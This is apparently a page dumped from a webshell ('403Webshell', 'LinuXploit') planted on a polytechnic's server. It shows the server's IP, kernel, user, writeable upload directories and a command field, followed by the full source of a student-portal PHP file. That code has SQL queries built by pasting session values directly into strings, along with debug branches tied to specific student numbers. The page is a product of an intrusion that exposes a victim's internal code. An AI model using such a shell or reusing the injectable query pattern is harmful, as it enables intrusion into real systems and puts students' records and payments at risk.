403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/headMain.php
<?php
session_start();
$it_start=$_SESSION['it_print'];
 $asession=$_SESSION['asession'];
 $asemester=$_SESSION['asemester'];
$graduated_count3=0;

require_once('../connect.php');

//require_once('../connect_Consultant.php');
//$db_c=db_con_connect();
//echo $db_c->query("select * from remitaorder")->rowCount();
//echo "am here t";
//die();

$db=db_connect();
//echo "select * from current where sn=2";
$sql_current=$db->query("select * from current where sn=2");
 $num_current=$sql_current->rowCount();
//($sql_current);
 $row_current=$sql_current->fetch(PDO::FETCH_BOTH);


if ($num_current>0){
//    $semester=$_SESSION['asemester']=$row_current['asemester'];
//    $asession=$_SESSION['asession']=$row_current['asession'];
//    $it_print=$_SESSION['it_print']=$row_current['it_start'];
//    $result_table=$_SESSION['result_table']=$row_current['result_table'];
    $siwes_begin=$_SESSION['siwes_begin']=$row_current['siwes'];
    $rsemester=$_SESSION['rsemester']=$row_current['rsemester'];
    $rsession=$_SESSION['rsession']=$row_current['rsession'];
//                die();
}
//die("am hereaa");
$rsession=$_SESSION['rsession'];
$rsemester=$_SESSION['rsemester'];
$matNo=$_SESSION['matNo'];

require_once ('result_fetch.php');
if ($matNo=='AH20210105187'){
//    echo $arrObj['Results'];
//    echo $student_status_ID.'lknhsfnsfn'.$RecKount.$haystack;
}
//die("Will be back Soon");
//echo $student_status_ID;
switch ($student_status_ID) {
    case 1:
        $student_status_value = 'Probation';
        break;
    case 2:
        $student_status_value = 'Withdraw';
        break;
    case 3:
        $student_status_value = 'Repeat';
        break;
    case 4:
        $student_status_value = 'Passed';
        break;
    case 5:
        $student_status_value = 'OC';
        break;
    case 100:
        $student_status_value = 'Fresher';
        break;
    case 901:
        $student_status_value = 'EXPELLED';
        break;
    case 10:
        $student_status_value = 'Fresher';
        break;
    case 7:
        $student_status_value = 'Sick';
        break;
    default:
        $student_status_value = 'Last Semester Result Cannot be Located';
//        $student_status_value = 'No Value'.$student_status_ID;
}
//echo $student_status_value;
//die();
//$_SESSION['matNo']
//if (strlen($matNo)<11){
//    die("<h3>You are Not an Active Student</h3>");
//}

if ((isset($_SESSION['sName'])) and (isset( $_SESSION['matNo']))){
    $userLogin=$_SESSION['sName'];
}elseif((isset($_SESSION['names']))and (isset( $_SESSION['matNo']))){
    $userLogin=$_SESSION['names'];
}else{
	header('location:login.php');
}
?>
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/html">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Student CPanel | Federal Poly Ede</title>

    <!-- Bootstrap Core CSS -->
    <link href="../bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">


    <!-- MetisMenu CSS -->
    <link href="../bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
    <!-- DataTables CSS -->
    <link href="../bower_components/datatables-plugins/integration/bootstrap/3/dataTables.bootstrap.css" rel="stylesheet">

    <!-- DataTables Responsive CSS -->
    <link href="../bower_components/datatables-responsive/css/dataTables.responsive.css" rel="stylesheet">
    <!-- Custom CSS -->
    <link href="../dist/css/sb-admin-2.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="../bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body >

<div id="wrapper">

    <!-- Navigation -->

    <nav class="navbar navbar-inverse navbar-static-top btn-primary" role="navigation" style="margin-bottom: 0">
        <div class="navbar-header">
            <img src="../images/logoOriginal.png">
            <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="navbar-brand" href="index.html"></a>
            &nbsp;
            <br>
            &nbsp;
        </div>
        <!-- /.navbar-header -->

        <ul class="nav navbar-top-links navbar-right">
            <li class="dropdown">
                <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                    <i class="fa fa-book fa-fw"></i>  <i class="fa fa-caret-down"></i>
                </a>
                <ul class="dropdown-menu dropdown-messages">
                    <li>
                        <a href="#">
                            <div>
                                <strong>Message</strong>
                                    <span class="pull-right text-muted">
                                        <em>Now</em>
                                    </span>
                            </div>
                            <div>No Assignment Yet...</div>
                        </a>
                    </li>
                    <li class="divider"></li>

                </ul>
                <!-- /.dropdown-messages -->
            </li>
            <!-- /.dropdown -->
            <li class="dropdown">
                <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                    <i class="fa fa-bell fa-fw"></i>  <i class="fa fa-caret-down"></i>
                </a>
                <ul class="dropdown-menu dropdown-alerts">
                    <li>
                        <a href="#">
                            <div>
                                <i class="fa fa-comment fa-fw"></i> Entrepreneurship Programme
                                <span class="pull-right text-muted small">4 minutes ago</span>
                            </div>
                        </a>
                    </li>
                    <li class="divider"></li>

                </ul>
                <!-- /.dropdown-alerts -->
            </li>
            <!-- /.dropdown -->
            <li class="dropdown">
                <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                    <i class="fa fa-user fa-fw"></i>  <i class="fa fa-caret-down"></i>
                </a>
                <ul class="dropdown-menu dropdown-user">
                    <li><a href="#"><i class="fa fa-user fa-fw"></i> <?php echo $names=$_SESSION['names']?> Profile</a>
                    </li>
                    <li class="divider"></li>
                    <li><a href="changeLogin.php"><i class="fa fa-gear fa-fw"></i> Settings</a>
                    </li>
                    <li class="divider"></li>
                    <li><a href="forgetPass.php"><i class="fa fa-gear fa-fw"></i> Send My Login Detail via eMail</a>
                    </li>
                    <li class="divider"></li>
                    <li><a href="logout.php"><i class="fa fa-sign-out fa-fw"></i> Logout</a>
                    </li>
                </ul>
                <!-- /.dropdown-user -->
            </li>
            <!-- /.dropdown -->
        </ul>
        <!-- /.navbar-top-links -->
        <br>
        <br>
        &nbsp;
        <br>
        <div class="navbar-default sidebar" role="navigation">
            <div class="sidebar-nav navbar-collapse">
                <ul class="nav" id="side-menu">
                    <li class="sidebar-search">
                        <div class="input-group custom-search-form">
                            <input type="text" class="form-control" placeholder="Search...">
                                <span class="input-group-btn">
                                <button class="btn btn-default" type="button">
                                    <i class="fa fa-search"></i>
                                </button>
                            </span>
                        </div>
                        <!-- /input-group -->
                    </li>
                    <li>
                        <a href="admin.php"><i class="fa fa-dashboard fa-fw"></i> Dashboard <?php echo '('.$userLogin.')';?></a>
                    </li>
                    <li>

                        <a href="../index.php"><i class="fa fa-home"></i> Back to Home Page </a>

                        <!-- /.nav-second-level -->
                    </li>
                    <?php
                    $summerStatus=0;
                    $levelID=$_SESSION['levelID'];

//                    require_once('print/ch')
                     $graduated=$db->query("select * from realdata where matNo='$matNo' and graduated not like 'Yes%'");
                    $graduated_count=$graduated->rowCount();
                    $_SESSION['graduated']=$graduated_count;
                    if ($graduated_count==1){
                        $graduated_fetch=$graduated->fetch(PDO::FETCH_BOTH);
                        $real_levelID=$graduated_fetch['levelID'];
                        $summerStatus=$graduated_fetch['summerStatus'];
                        $specialStatus=$graduated_fetch['status'];
                        $class=$graduated_fetch['class'];

//                        echo $summerStatus;
                        $activeStudent=$graduated_fetch['activeStudent'];
                        $kk='';

                        if ($specialStatus==1){
                            $student_status_ID=7;
                            $student_status_value = 'Suspension';
                            $student_status_ID=2;

                        }
                        if (($specialStatus==2) or ($specialStatus=='Vol. WITHDRAW') or ($specialStatus=='Acad. WITHDRAW')){
                            $student_status_ID=2;
                            $student_status_value = 'Withdrawal';

                        }
                        ?>
                        <li style="display: no0ne">
                            <a href="#"><i class="fa fa-book fa-fw"></i> eClass Room <span
                                    class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a href="courseMaterials.php" style="display: ">Access Course Materials</a>
                                </li>

                                <li>
                                    <a href="courseAssignment.php" style="display: ">Access Assignment</a>
                                </li>
                                <!-- <li>
                                     <a href="olevel.php">O'Level Comfirmation</a>
                                 </li>-->
                            </ul>
                            <!-- /.nav-second-level -->
                        </li>
                        <?php
                        if  ($student_status_ID<>2) {
                            ?>
                            <li>
                                <a href="#"><i class="fa fa-list-ul fa-fw"></i> Registration <span
                                        class="fa arrow"></span></a>
                                <ul class="nav nav-second-level">
                                    <li>
                                        <a href="biodata.php" style="display: ">Biodata Update</a>
                                    </li>
                                    <li>
                                        <a href="idCard.php" style="display: ">ID Card Update</a>
                                    </li>
                                    <!-- <li>
                                         <a href="olevel.php">O'Level Comfirmation</a>
                                     </li>-->
                                    <li>
                                        <a href="olevelupdate.php" style="display: ">O'Level Update</a>
                                    </li>
                                    <li>
                                        <a href="courseReg.php" style="display: ">Course Registration</a>
                                    </li>
                                    <li>
                                        <!--                                    <a href="courseReg_First.php" style="display: ">First Course Registration</a>-->
                                    </li>

                                </ul>
                                <!-- /.nav-second-level -->
                            </li>
                        <?php
                        }

                    }else{
                        $real_levelID=0;
                        $kk='style="display: none"';
                        $graduated1=$db->query("select * from realdata where matNo='$matNo' and graduated like 'Yes%'");
                        $graduated_count1=$graduated1->rowCount();

                        $graduated3=$db->query("select * from realdata where matNo='$matNo' and graduated='Yes_u'");
                        $graduated_count3=$graduated3->rowCount();

                        if ($graduated_count1==1){
                            $graduated1_fetch=$graduated1->fetch(PDO::FETCH_BOTH);
                            $real_levelID=$graduated1_fetch['levelID'];
                            $kk='';
                        }
                    }
                        ?>

                    <li <?php echo $kk;?>>
                        <a href="#"><i  class="fa fa-upload fa-fw"></i> Payment <span class="fa arrow"></span></a>
                        <ul class="nav nav-second-level">
                            <?php
                            if ($graduated_count3==4) $graduated_count=1;
                            if (($graduated_count==1) and ($student_status_ID<>2)){
                                ?>
                                <li>
                                    <<a href="remitaacceptance.php" style="display: none">Acceptance Fee</a>
                                </li>
                                <li>
                                    <a href="remitaschoolfee.php" style="display: ">School Fees</a>
                                </li>
                                <li>
                                    <a href="reparation_remitaPayment.php" style="display: ">Reparation Fee</a>
                                </li>
                                <li>
                                    <a href="index_pay_OlevelAdd.php" style="display: ">Additional O'Level</a>
                                </li>
                                <li>
                                    <a href="ALLpaymentHistory.php" style="display: ">All Successful Payments <?php echo $student_status_ID;?></a>
                                </li>
                            <?php
                            }
                            ?>
                            <li>
                                <!--                                <a href="remitaPayment.php">Other Payment</a>-->
                                <a href="index_pay_otherpayment_c.php">Other Payments</a>
                            </li>
                        </ul>
                    </li>

                    <?php

                     $dept_siwes_eligible=$_SESSION['siwes_begin'];

                    $siwes=$db->query("select * from siwesexception where matNo='$matNo'");
                     $siwes_count=$siwes->rowCount();
                    if(isset($_SESSION['siwes'])){
                         $dept_siwes_eligible2=$_SESSION['siwes'];
                    }else{
                        $dept_siwes_eligible2=0;
                    }
//if(($levelID==15) or ($matNo=='OT20180100827')or ($matNo=='OT20180203351')){
//    echo $matNo;
//    die();
//     $dept_siwes_eligible=1;
//     $dept_siwes_eligible2=1;
//    die();
//}
                    $dept_siwes_eligible==0;
if (($dept_siwes_eligible==1) and ($dept_siwes_eligible2==1)) {
                    if (($real_levelID==1) or ($real_levelID==8) or ($siwes_count==1) or ($real_levelID==15)  ){//or ($dept_siwes_eligible==0)) {
                        ?>
                        <li>
                            <a href="#"><i class="fa fa-upload fa-fw"></i> <?php //echo $dept_siwes_eligible;?>SIWES Programme<span class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a href="#"><i class="glyphicon-pencil"></i> Forms<span class="fa arrow"></span></a>
                                    <?php

                                        echo '<ul class="nav nav-third-level"  style="display: ">';

                                        ?>

                                        <li style="display: none;">
                                            <a href="siwes/siwesBiodata.php">SIWES Biodata Form</a>
                                        </li>
                                <li style="display: none;">
                                            <a href="siwes/siwesReference.php">SIWES Placement Form</a>
                                        </li>
                                <li style="display: none;">
                                            <a href="siwes/siwesEndProgram.php">Report Sheet Form</a>
                                        </li>


                                    </ul>

                                </li>

                                <li>
                                    <a href="#"><i class="fa fa-print fa-fw"></i>Printing <span class="fa arrow"></span></a>
                                    <ul class="nav nav-third-level">
                                        <li style="display: none;">
                                            <a href="siwes/siwesLetter.php" target="_blank">SIWES Letter</a>
                                        </li>
<!--                                        <li>-->
<!--                                            <a href="#" target="_blank"></i>SIWES Biodata</a>-->
<!--                                        </li>-->
                                        <li style="display: none;">
                                            <a href="../downloads/log_book_details.pdf" target="_blank"></i>SIWES Log Book</a>
                                        </li>
                                        <li style="display: none;">
                                            <a href="siwes/siwesPlacement.php" target="_blank"></i>SIWES Placement</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesReferencePrint.php" target="_blank">SIWES Placement Reference</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesForm8.php" target="_blank">SIWES E.O.P Report</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesAssessmentFormA1.php" target="_blank">Assessment Form (Form A1)</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesAssessmentFormA2.php" target="_blank">Assessment Form (Form A2)</a>
                                        </li>
                                        <li style="display: none;">
                                            <a href="siwes/employerForm.php" target="_blank">Assessment Form (Form A2)</a>
                                        </li>
<!---->
                                    </ul>
                                </li>

                            </ul>
                        </li>
                    <?php
                   }
}

                    ?>
                    <li <?php echo $kk;?>>
                        <a href="#"><i class="fa fa-print fa-fw"></i> Printing/Downloading <span class="fa arrow"></span></a>
                        <ul class="nav nav-second-level">
<?php
if (($graduated_count==1) and ($student_status_ID<>2)){
    ?>

    <li>
        <a href="print/admissionLetter.php" target="_blank">Admission Letter</a>
    </li>
    <li>
        <a href="print/acceptancePrintRealdata.php" target="_blank">Previous Acceptance Fee Receipt </a>

    </li>

    <li>
        <a href="print/biodataPrint.php" target="_blank" >Biodata </a>
    </li>
    <li>
        <a href="print/coursePrint.php" target="_blank">Semester Course Form</a>
    </li>
    <li>
        <a href="print/accommodationPrint_Consult.php" target="_blank">Tenancy Agreement Form</a>
    </li>
    <li>
<!--        <a href="print/coursePrint_first.php" target="_blank">First Semester Course Form</a>-->
    </li>
    <li>
        <a href="print/examSlip.php" target="_blank" style="display: none">Exam Slip</a>
    </li>
<!--    <li>-->
<!--        <a href="print/biometricClearance.php" target="_blank" style="display: noxne">Biometric Clearance Slip</a>-->
<!--    </li>-->

    <li>
        <a href="print/schoolFeePrint.php" target="_blank">School Fees Receipt</a>
    </li>
                            <!-- <li>
                               <a href="print/coursePrint_second.php" style="display: none" target="_blank">Second Semester Course Form</a>
    </li>-->
    <<li>
<!--        <a href="print/clearanceCertificate.php" target="_blank" >Semester Clearance</a>-->
    </li>

     <li>
          <a href="print/idCardPrint.php" target="_blank" >ID Card Preview </a>
      </li>

      <li>
          <a href="print/libraryPrint.php" target="_blank" >Library/Clearance</a>
      </li>
<!--    <li>-->
<!--        <a href="print/undertaking.php" target="_blank" >Undertaking</a>-->
<!--    </li>-->
    <?php

    if (($it_start==1) and ($levelID==2 or $levelID==9 or $levelID==7)){
        echo '<li>
        <a href="siwes/itLetter.php" target="_blank">IT Letter</a>
    </li>';
    }

    if  ($levelID==1 or $levelID==3 or $levelID==8 or $levelID==5 or $levelID==11 or $levelID==10  or $levelID==13 or $levelID==16){
        echo '<li>
        <a href="print/medForm.php" target="_blank">Medical Form</a>
    </li>';
    }

}
    ?>
                            <li>
                                <a href="studentLoginNow.php" target="_blank">Semester Result <?php //echo $summerStatus_1;?></a>
                            </li>



                        </ul>
                </li>

<!--============================ Summer-->
<?php
//$resultRemark=
//$checkRemark="select * from rawcgpa where matNo='$matNo' and `remark` LIKE '%OC-%' and (`level`='National Diploma II FT SECOND SEMESTER' or `level`='Higher National Diploma II FT SECOND SEMESTER' or `level`='National Diploma III PT SECOND SEMESTER' or level='National Diploma (Daily) II PT SECOND SEMESTER' )";
//$resultRemark=$db->query($checkRemark);
//echo $numRemark=$resultRemark->rowCount();
//$numRemark=$summerStatus;
  $numRemark=$summerStatus_1;
//die();
 $numRemark=0;
if (($numRemark>0) or ($summerStatus==1)) {

?>
               <li>
                        <a href="#"><i class="fa fa-adjust fa-fw"></i> Summer Programme<span class="fa arrow"></span></a>
                        <ul class="nav nav-second-level">
                            <li>
                                <a href="remitaschoolfeeSummer.php" target="_blank">Pay Summer School Fees</a>
                            </li>
                            <li>
                                <a href="courseRegSummer.php" target="_blank">Course Registration</a>
                            </li>
                            <li>
                                <a href="print/coursePrintSummer.php" target="_blank">Print Course Form</a>
                            </li>
                            </ul>
                        </li>


                            <?php
                            }
$sql_n="select * from remitaorder where paymentType='Summer School Fees' and transApproved='True' and regNo='$matNo'";
$sql_n=$db->query($sql_n);
if ($sql_n->rowCount()>0) {


    ?>
    <li>
        <a href="#"><i class="fa fa-adjust fa-fw"></i> Summer Printings<span class="fa arrow"></span></a>
        <ul class="nav nav-second-level">
            <li>
                <a href="print/summer_schoolFeePrint.php" target="_blank">Summer School Receipt</a>
            </li>
            <li>
                <a href="print/coursePrintSummer.php" target="_blank">Summer Course Form</a>
            </li>
        </ul>
    </li>


<!--    }-->

<?php
}
  if( strpos( $matNo, '2020' ) !== false) {
//if ($matNo=='CS20190100314') {
    echo '<li>
        <!--                                <a href="remitaPayment.php">Other Payment</a>-->
        <a href="index_pay_otherpayment_c.php" style="columns: red; font-size: 20px;">Studentship Re_activation </a>
    </li>';
}
    ?>

                <!--- End    CS201300650

                                <!-- /.nav-second-level -->
                    <li style="text-align: center">
                        <a href="#" style="background-color: PINK">
                            <div class="huge" >

                                <img src="../passport/Reg<?php echo $matNo;?>.jpg" width="140px" height="140px" class="img-circle" />
                            </div>
                            <strong><div><?php echo $names ;?></div>
                            <div><?php echo $matNo ;?></div>
                            <div><?php echo $_SESSION['course'] ;?></div>
                            <div><?php

                                $sql_l=$db->query("select * from leveltb where id='$levelID'");
                                $sql_l_fetch=$sql_l->fetch(PDO::FETCH_BOTH);

                                if($graduated_count==1){
                                    if ($class<>''){
                                        $dddd='<h2 style="color: red;">['.$class.']</h2>';
                                    }else{
                                        $dddd='';
                                    }

                                    echo $levelName=$sql_l_fetch['levelName'].$dddd.'['.$asession.']<hr><div  style="color: green">'.$student_status_value.'->'.$specialStatus.$student_status_ID.'</div><hr>';
                                }else{
                                    $levelName=$sql_l_fetch['levelName']; echo '<div style="color: red">You are NOT an ACTIVE Student/Your 2023/2024 Semester Result cannot be Located Yet</div>';
                                }

                                ;?></div></strong>
                        </a>
                    </li>
                    </ul>
                </li >


            </div>

            <!-- /.sidebar-collapse -->
        </div>
        <!-- /.navbar-static-side -->
    </nav>

    <!-- Page Content -->
    <div id="page-wrapper">
        <div class="container-fluid">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Student Account <span style="font-size: 20px; color: blue;"><?php echo '('.$_SESSION['asession']. ' - '. $_SESSION['asemester'].')';?></span></h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
            <!-- /.row -->
            <div class="row">
                <div class="col-lg-3 col-md-6">
                    <div class="panel panel-primary">
                        <div class="panel-heading">
                            <div class="row">
                                <div class="col-xs-3">

                                </div>
                                <div class="col-xs-10 text-center">
                                    <?php
                                     $matNo=$_SESSION['matNo'];
                                     $formNo=$_SESSION['formNo'];
//                                    $db_con=db_con_connect();
                                    $sql="select sum(amtPaid) as amt from remitaorder where regNo='$formNo' and paymentType='Acceptance Fee' and transApproved='True'";
                                    $query=$db->query($sql);
                                    $row_acceptance=$query->fetch(PDO::FETCH_BOTH);
                                    $numK=$query->rowCount();
                                    //$admitted=$num;
                                    ?>
                                    <div class="huge">
                                        <?php
if($formNo<>0) {
    if ($row_acceptance['amt'] <> 0) {
        echo $row_acceptance['amt'];
    } else {
        echo 'Not Paid';
    }
}else{
                                            echo 'N/A';
                                        }
                                        ?></div>
                                    <div></div>
                                </div>
                            </div>
                        </div>
                        <a href="print/acceptancePrint.php" target="_blank">
                            <div class="panel-footer">
                                <span class="pull-left">Acceptance Fees </span>
                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
                                <div class="clearfix"></div>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="col-lg-3 col-md-6">
                    <div class="panel panel-green">
                        <div class="panel-heading">
                            <div class="row">
                                <div class="col-xs-3">
                                </div>
                                <div class="col-xs-10 text-center">
                                        <?php
                                        //echo $formNo;
                                       // echo $matNo;
                                        $db_con=db_con_connect();
                                         $sql_schoolFee0="select sum(amtPaid) as amt,regNo from remitaorder where (regNo='$formNo' or regNo='$matNo') and paymentType like '%School Fees' and transApproved='True' and status<>'Re-fund' and pay_session='2024/2025'";
                                         $sql_schoolFee="select sum(AmountAuthorized) as amt,matricNumber from payment_log where (matricNumber='$matNo' or matricNumber='$matNo') and PaymentCategory like '%Registration' and paymentState='Paid'";
if ($matNo=='MK20240109378w'){
    echo $sql_schoolFee0;
    echo $sql_schoolFee;
}
                                        $query_schoolFee=$db_con->query($sql_schoolFee);
                                        $query_schoolFee0=$db->query($sql_schoolFee0);
                                        $schoolFee=$query_schoolFee->fetch(PDO::FETCH_BOTH);
                                        $schoolFee0=$query_schoolFee0->fetch(PDO::FETCH_BOTH);

//                                        $num_schoolFee=$query_schoolFee->rowCount();
//                                        $num_schoolFee=0;
                                       // echo $row_schoolFee['amt'];

                                        //$admitted=$num;
                                       // echo $num_schoolFee;
                                         $query_schoolFee->rowCount();
                                        if ($query_schoolFee->rowCount()>0){
                                            $amtCheck=$row_schoolFee[0];
                                            $amtNow=$schoolFee['amt'];
                                            $amtNow0=$schoolFee0['amt'];
                                            $_SESSION['amtPaidSF0']=$amtCheck=$amtNow+$amtNow0;
                                        }else{
                                            $_SESSION['amtPaidSF0']=0;
                                        }


                                        ?>
                                    <div class="huge"><?php if ($amtCheck>0){ $amtPay=$_SESSION['amtPaidSF0']; echo  number_format($amtPay,2);}else{ echo 'Not Paid';}?></div>
                                    </div>
                                    <div></div>
                                </div>
                            </div>

                        <a href="print/schoolFeePrint.php" target="_blank">
                            <div class="panel-footer">
                                <span class="pull-left">School Fees </span>
                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
                                <div class="clearfix"></div>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="col-lg-3 col-md-6">
                    <div class="panel panel-yellow">
                        <div class="panel-heading">
                            <div class="row">

                                <div class="col-xs-10 text-center">
                                    <div class="huge">
                                        <?php
                                         $levelID=$_SESSION['levelID'];
                                        $sql_otherFee="select sum(amtPaid) as amt,regNo from remitaorder where (regNo='$formNo' or regNo='$matNo') and paymentType not like '%School Fees' and paymentType not like 'Acceptance Fee'  and transApproved='True' and status<>'Re-fund'";
                                      // $sql_level="select * from leveltb where id='$levelID'";
                                        $query_oFee=$db->query($sql_otherFee);
                                        $query_oFee_fetch=$query_oFee->fetch(PDO::FETCH_BOTH);
                                       // $numa=mysql_num_rows($querya);
                                        if ($query_oFee_fetch['amt']>0){echo $query_oFee_fetch['amt'];}else{echo '0.00';};
                                        ?>
                                    </div>
                                    <div></div>
                                </div>
                            </div>
                        </div>
                        <a href="paymentHistoryb.php" target="_blank">
                            <div class="panel-footer">
                               <!-- <span class="pull-left">--><?php
                                   // $k=$db->query("select * from current");
                                   // $roww=$k->fetch(PDO::FETCH_BOTH);
                                   // echo $deptID=$_SESSION['course'].'('.$roww['asession'].')';?>
                                    <span class="pull-left">Other Payment(s)</span>
                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
                                <div class="clearfix"></div>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="col-lg-2 col-md-6">
                        <div class="panel-heading">
                            <div class="row">
                                <div class="col-xs-12 text-right">
                                    <div class="huge">
                                       <img src="../passport/Reg<?php echo $matNo;?>.jpg" width="140px" height="140px" class="img-circle" />


                                    </div>
                                    <div></div>
                                </div>

                        </div>

                    </div>
                </div>
            </div>
            <!-- /.row -->
        </div>
        <!-- /.container-fluid -->


<?php
?>

Youez - 2016 - github.com/yon3zu
LinuXploit